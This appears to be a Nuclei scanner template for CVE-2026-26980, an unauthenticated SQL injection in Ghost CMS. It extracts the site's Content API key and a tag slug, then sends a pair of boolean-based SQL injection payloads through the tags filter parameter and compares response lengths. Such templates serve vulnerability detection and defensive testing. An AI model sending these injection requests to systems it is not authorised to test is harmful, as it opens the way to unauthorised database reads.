id: CVE-2026-26980 info: name: Ghost - SQL Injection author: vedas-arpsyndicate severity: critical description: | Ghost is a Node.js content management system. Versions 3.24.0 through 6.19.0 allow unauthenticated attackers to perform arbitrary reads from the database. reference: - https://www.exploit.observer/?keyword=CVE-2026-26980&match=exact - https://subdomain.center/?engine=ammonites&keyword=ghost&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L cvss-score: 9.4 cve-id: CVE-2026-26980 cwe-id: CWE-89 metadata: verified: false tags: cve,cve2026,ghost,ghostcms,sqli,vuln,vkev flow: | http(1) && http(2) && http(3) http: - id: extract-api-key method: GET path: - "{{BaseURL}}" host-redirects: true max-redirects: 2 extractors: - type: regex name: api_key part: body group: 1 regex: - 'data-key="([a-f0-9]{20,})"' internal: true - id: extract-first-slug method: GET path: - "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:-null" extractors: - type: json part: body name: first_slug json: - '.tags[0].slug' internal: true - id: check-sqli method: GET path: - "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',{{first_slug}}]" - "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=0 THEN 0 ELSE EXP(710) END||',{{first_slug}}]" matchers: - type: dsl dsl: - "len(body_1) != len(body_2)"